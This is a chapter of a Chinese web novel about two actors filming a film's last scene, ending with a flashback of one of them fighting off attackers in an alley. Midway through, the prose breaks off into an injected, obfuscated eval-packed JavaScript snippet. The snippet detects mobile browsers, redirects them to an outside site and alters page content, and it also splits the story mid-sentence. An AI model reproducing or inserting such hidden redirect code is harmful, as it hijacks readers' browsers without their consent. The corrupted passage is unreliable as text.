19.末场戏
作品:《退休卧底,但大影帝》 隔日,程常远在酒店大厅看到了耿辱。
耿大影帝没有像昨日那样匆忙,神色也屹然不动,好似昨晚的事情完全没发生过似的。
程常远此时又不得不佩服起来了,不愧是大影帝,演技就是——不对,不能再这么想了。他一察觉这个念头,就立马止住,还是当同事比较好。
两人上了同一辆车,程常远下意识坐回一如既往的位置,即耿大影帝的身边。刚一坐下,他才反应过来,此时耿大影帝也已经坐下了。没有回头路,程常远想,抱着手别过脸看假装窗外风景。
耿辱把他的情绪全都看在眼里,唉叹一口气,抱着手看另一边,心里想这小子还真矛盾啊。
程常远的内心戏跟车在水泥上开一样颠簸。今天他们要去拍电影末尾的一场戏——伍林在火车轨道上自杀。
伍林也许很早就想郁郁而终,也许只是对世界无所眷恋,亦或者说太想融入万千事物了。至今没人知道他当年是怎么想的,现在也是。
程常远跟过来是因为他也在这个景有一场戏,不过这场戏不难,很快就能拍完了。按理来说拍完就能走,可他在车上想,他偏偏不走,偏要看这个大混混演技到底有多好,这么复杂的结尾也能收好吗。
车摇摇晃晃地从水泥路开到石子路,现在是旅游的淡季,但风景依旧很好,一边靠海,一边就是石子花丛。花都枯萎成杂草了。铁轨弯弯的沿着海岸线,碾过无数颗红红靛靛的小石子。
剧组停下车,陆陆续续摆好设备。他们先拍一些回忆戏,演员们忙忙地就上场了。程常远边拍,边注意观察耿大影帝的神情,他究竟是怎么做到昨天和今天完全分开的呢。
这么想的刹那间,他踩到石头,一个趔趄差点摔在地上,导致这条要重来。
拍到一半的摄像大哥和杆爷算是前功尽弃了,唉一声,从头再来。
这时候程常远感觉耿辱看了他一眼,他颇为不自在,心里总缺些什么。他有点后悔昨天晚上说的话,更有点后悔进了这个组了。
拍完一条调整机位,中场休息的时候,程常远坐在那儿自以为若有所思,眼神定定的脑子里开小差,想着昨晚的事。耿辱望着愣愣的他,心里又叹一口气,坐到他旁边。
程常远还是呆呆的,没注意到旁边多来了个人,等他注意到的时候,耿辱已经被迫把椅子拉出声音,他才恍然惊觉。
“耿哥,”他喊。
耿辱调整了一下椅子座位,坐好,目光看向海边的轨道,“想什么呢。”
“没什么。”程常远侧侧头,手托着半边颈脖,翘起腿来假装很忙。
他心里想什么耿辱都知道,短时间接触这么大的信息量,是个人都会多想的,估计还得有一段时间才能走出来。
“你现在的任务是好好拍戏。”耿辱提醒他道,欠身,拧开一支水,海风吹他得面上柔和
这似乎是在提醒他别多想,程常远放松身姿,看向耿大影帝。别被他人的生活影响了自己,自己的前途更加重要,这部电影对于一个有点糊的年轻演员来说有多重要,是不可言喻的了。
程常远没点头,闭上嘴巴,依旧翘着腿不出声。耿大影帝教训得很有道理,他总是这么沉稳,经验多也眼界宽,这大概是他有魅力的原因之一。
中场休息结束,导演喊耿辱,耿辱应着起身。程常远这才啊一声,时间过得好快,宛若只有十几秒。
这是电影最后一幕戏了,伍林的独角戏。
伍林自杀有很多种演绎方式,但是导演选择了只拍一个伍林站在轨道上的正面,还有一个侧面全景。
一个是出于安全,一个是最有感觉。这样的蒙太奇叙事方式最留白,导演什么都不要,要精细感,氛围感就行。
拍这场戏的时候风很大,也许是因为剧组刚好选了一个有风的日子。耿辱脱下外套,小助理接过。铁轨是废弃铁轨,不会有火车经过。
说实话,难演不算很难演,但要演出那种虚无缥缈的感觉感是最难的。不能太轻薄或者沉重,需要有层次。程常远坐在原位置上发愣好一会儿,才想到要去看监视器。
“三、二、一,开始。”
他在一个天气分不清晴朗还是阴沉,但风很大的时候,踏上了火车轨道。
近处是低低的荒草丛生,远处是天水接一色的海潮。潮湿味涌来又迅速飘散在空中。
镜头落到了伍林的脸上,他就那样站着,没人知道他到底在想什么,是母亲,是小时候的一次玩耍,还是云或者海。海风吹得头发杂乱,如同散发在漫天海景里的一缕缕的生命线。
正面镜头缓缓推进,前后持续了一分多钟,多个镜头来回切,导演戴着耳机看得很满意。程常远在旁边充当三好学生观看着,突然发觉近景的时候,头发被吹得凌乱的耿大影帝颈脖上,有隐约一道红色的口子。
这时候,反复观看欣赏自己作品的郭导也发现了,凑近看,拍手叫好:“今天是谁给他做的妆造啊,真是点睛之笔。”
整个剧组你望望我,我望望你,妆造师们更是有点懵,不知道啊。他们做妆造的时候耿大影帝披着外套,完全没看到。
这时候抱着外套小助理连忙举手,解释道是耿影帝自己不小心弄伤的,他说没什么事,钥匙划到了罢了。
这是程常远心里“咚”一声,想到昨天晚上的事情,好似破了个洞。但这时候没人看他了,耿影帝收工回来,小助理连忙给他重新披上外套。
耿辱脖子的伤口看上去细细的,不算大但也不算小,导演问什么时候弄伤的,没事吧。他摆摆手。
意外地拍出了很好的效果。今天差不多就到此下班了,整部电影的拍摄也到了末尾阶段。大家各自忙各自的,只有程常远还对那道红色的伤口念念不忘。
好像是刀伤,好像是铁丝,他有些不确定。
耿辱没打算回应他的疑问,坐下来,助理给他递水。这时候程常远的魂才好像回来了似的,主动地坐到他旁边,身姿有点讷讷的。
“耿哥,”他小声喊。
“嗯?”耿辱抬头喝水,两三口拧好,放到旁边的桌子上。
程常远想出口,但又有些什么让他出不了口,像有团棉花堵在他口里似的,最终还是闭上,默默地坐着。
他昨晚回到酒店后,没在注意耿大影帝情况,只一心想着心有余悸。他觉得是指不该,无论如何也应十多点去看看情况。
“你昨晚几点回来的?”坐半天,他终于想出一个问题问,挠挠脸。
耿影帝答:“八点多就回来了。”
那还好,程常远想,脱口而出的一句,“那你干了什么?”
“吃宵夜啊。”耿大影帝语调稀松平常地答,“你又没叫我给你带点回来。”
程常远很难不联想到他颈脖上的那道口子,虽然穿上衣服不明显,他想了想,还是忍住没出口。说了不掺和就是不掺和。这一点东西他还是忍得住的。
半晌,他两只手摁在膝盖上,张开腿,又挠了挠后脑勺,“我还挺羡慕你的。”
耿大影帝很清闲地戴着墨镜,望着海景,轻微地吹了吹保温杯里的热烟,“啊”一声。程常远没顾得上他到底听没听见,继续,“其实不是羡慕,是挺佩服。”
拍摄很快就会结束了,以后有多少次见面都说不准,更别提谁避着谁这件事了。原本想着能打好关系就打好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983670|192980||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关系,现在看来,这个必要还有没有,程常远也不敢打包票了。
至于以后差距拉得大不大,昨晚发生了什么事,这些都不是他考虑的范畴。耿辱点点头,表示赞同,热雾气顺着他的气息飘出来,在空中融化。
“大海真好看。”耿辱感慨一口气,肩膀松下去,程常远听出他些许忧愁。
这事还沉浸在角色立马,程常远好似看到了剧本,今天拍摄时他感觉耿辱只是把演技日常发挥了,没动多少真情实感。他也在想别的事情。
而现在,耿大影帝侧着身,程常远更像是看到一层复杂多样的伍林,或者直接说、耿辱。
昨晚到底发生了什么?
“这,疼不疼。”程常远轻微点了点脖子。
耿辱笑笑,放下手里的保温杯,站起来。
程常远抬眼望他,目光跟着环绕一圈。
当然疼,别问。
-
耿辱跟经常会备一把钥匙,钥匙上会挂一小把折叠刀,这是可以随时拆卸下来的。这把钥匙不常用,因为明星也没多少次能回家的机会。
钥匙上的那把小刀也同理,但和钥匙一样是不可或缺的存在,可以不用,但不能没有,比如现在。他用拇指指腹极轻地擦过刀锋,动作带着一种近乎珍视的熟稔,看上去就像刚掏出钥匙一样自然。
门后的寂静只维持了一瞬。
脚步声杂乱地涌出,三四个男人堵死了巷子两端。没有废话,阴影合拢。最先动手的汉子挥刀便砍,刀光雪亮。耿辱没退,侧身进步迎上,左臂架住对方手腕的力道震得小臂发麻,右手的刀柄已狠狠砸在对方肘关节上。“哒”的一声脆响,砍刀脱手落地,那人整条手臂顿时软垂。
攻势却未停歇。侧翼拳风袭向肋下,身后更有臂膀张开意图锁喉。耿辱在脑后风声触到衣领的刹那,猛然向后全力撞去,脊背如同铁锤砸进偷袭者怀中。那男人闷哼一声,肺里的空气被硬生生挤空。耿辱手肘顺势向后猛顶,击中柔软腹腔的触感闷实。
几乎同时,左侧刀锋已掠至太阳穴。他借着后撞的余势拧腰转胯,刀刃擦着颈侧皮肤划过,带起一道火辣辣的疼,几点温热立刻渗了出来。
血腥味混着汗味在狭窄空间里弥漫。耿辱胸口起伏,额发被冷汗浸湿,粘在苍白的皮肤上。颈侧的刺痛和手臂的钝痛交织,喉间泛起铁锈般的腥甜。他抬手,用拇指随意抹过唇角,指尖染上一点暗红。眼神却亮得慑人,像淬了火的刀。
“咔!”
令人牙酸的声响来自另一个进攻者的手腕——被他擒住反拧。那人痛得抽气,耿辱顺势将他往身前一拽,化作肉盾挡住了刚刚爬起的同伙。混乱中,他踢开地上掉落的砍刀,拳脚并用,膝撞、肘击、掌劈,全是街头斗殴中最直接狠辣的招式,毫无章法,却效率惊人。第三个人被他绊倒,额头磕在凸起的砖角上,闷声不动了。第四个人挥来的钢管被他矮身躲过,反手一刀柄砸在对方腿弯,那人惨叫着跪倒。
短短十几个呼吸,还能站着的只剩他自己。
疼是真的。半边领子被血和汗浸得湿透,黏腻地贴在皮肤上。颈侧的伤口随着脉搏一跳一跳地疼,手臂也阵阵发软。他呼出一口灼热的气息,目光扫过地上呻吟或昏迷的躯体。
他走过去,脚尖踢开散落的武器,一把抓起那个意识还算清醒、正试图往后缩的喽啰,揪着领子将他重重摁在粗糙的砖墙上。墙灰簌簌落下。
耿辱逼近,染血的脸在昏暗光线下显得有些骇人。他声音不高,却每个字都像从牙缝里咬出来,带着未散尽的狠厉和不容置疑的力道:
“听清楚——回去告诉你后面的人,黄蝴蝶的事,我管定了。”

